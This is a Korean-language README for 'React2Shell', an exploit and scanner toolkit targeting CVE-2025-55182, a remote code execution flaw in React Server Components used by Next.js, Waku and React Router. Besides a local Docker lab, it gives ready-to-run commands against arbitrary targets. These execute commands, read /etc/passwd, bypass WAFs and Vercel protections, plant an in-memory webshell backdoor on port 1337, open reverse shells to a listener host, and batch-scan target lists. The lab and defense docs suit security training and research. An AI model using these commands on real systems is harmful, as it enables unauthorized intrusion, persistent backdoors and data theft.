CVE-2025-55182 스캐너 및 익스플로잇 툴킷 for Next.js/React 서버 컴포넌트 RCE.
React2Shell/
├── browser-extension/ # 브라우저 기반 탐지를 위한 Chrome 확장 프로그램
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # 명령줄 스캐너 및 익스플로잇 도구
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # 학습 중심 문서
│ ├── README.md # 학습 경로 인덱스
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # 테스트용 Docker 실습 환경
│ ├── vulnerable/ # 취약한 Next.js 앱 (React 19.2.0)
│ ├── patched/ # 패치된 Next.js 앱 (React 19.2.1)
│ ├── waf/ # ModSecurity WAF 컨테이너
│ ├── waku-app/ # 취약한 Waku 앱 (React 19.2.0)
│ ├── react-router-app/ # 취약한 React Router 앱 (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei 템플릿
├── CVE-2025-55182.yaml # RCE 탐지 (코드 실행)
└── CVE-2025-55182-safe.yaml # 안전한 사이드 채널 탐지
cd lab
docker-compose up -d
# 공격 가능 대상:
# Next.js 취약: http://localhost:3011 ← 전체 RCE
# Waku 취약: http://localhost:3014 ← RCE (블라인드 - HTTP 출력 없음)
# React Router: http://localhost:3015 ← 전체 RCE (ESM)
# 보호 대상:
# Next.js 패치됨: http://localhost:3012 ← 안전
# WAF 보호: http://localhost:3013 ← ModSecurity가 익스플로잇 차단
# 기본 스캔 (프레임워크 자동 탐지)
python react2shell.py https://target.com
# 프레임워크 탐지 및 엔드포인트 열거
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# 다른 프레임워크에서 명령 실행
python react2shell.py https://target.com -c "id" # Next.js (자동)
python react2shell.py https://target.com -F waku -c "id" # Waku (블라인드 RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# 출력이 있는 실습 예제
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# 모든 WAF 우회와 함께 명령 실행
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# 프록시를 통한 대화형 셸
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# 인메모리 웹셸 설치 (1337 포트에 백도어 생성)
python react2shell.py https://target.com --webshell mypassword
# 접속: curl 'http://target:1337/?p=mypassword&cmd=id'
# 리버스 셸
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# 로컬 프로젝트에서 취약한 버전 스캔
python react2shell.py -L /path/to/project
# 출력과 함께 배치 스캔
python react2shell.py targets.txt -t 20 -o results.json -v
실행 옵션:
-c, --cmd 실행할 명령
-i, --interactive 대화형 셸 세션
-r, --reverse 리버스 셸 모드
-l, --lhost 리스너 호스트
-p, --lport 리스너 포트
-S, --shell-type 셸 유형 (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file 원격 파일 읽기
스캔 옵션:
-P, --path 테스트할 경로 (쉼표로 구분 또는 파일)
-t, --threads 스레드 수 (기본값: 10)
-T, --timeout 요청 제한 시간(초) (기본값: 10)
-s, --safe 안전 모드 (코드 실행 없음)
-L, --local 로컬 프로젝트 디렉터리 스캔
-F, --framework 대상 프레임워크 (auto, nextjs, waku, react-router, expo)
-E, --enumerate 익스플로잇 전 RSC 엔드포인트 열거
--detect 프레임워크만 탐지하고 엔드포인트 나열
--webshell 1337 포트에 인메모리 웹셸 설치
--rce RCE 개념 증명 모드 (기본값: 안전 모드)
우회 옵션:
-w, --waf-bypass 정크 데이터 패딩
-W, --waf-size 정크 크기(KB) (기본값: 128)
-u, --unicode 유니코드 인코딩 우회
-V, --vercel-bypass Vercel 전용 우회
--windows Windows PowerShell 페이로드
요청 옵션:
-x, --proxy 프록시 URL (예: http://127.0.0.1:8080)
-H, --header 사용자 정의 헤더
-A, --user-agent 사용자 정의 User-Agent
-k, --insecure SSL 검증 비활성화
출력 옵션:
-o, --output 결과를 JSON으로 저장
-v, --verbose 버전 탐지와 함께 자세한 출력
-q, --quiet 취약한 대상만 표시
--no-color 색상 비활성화
--no-banner 배너 숨기기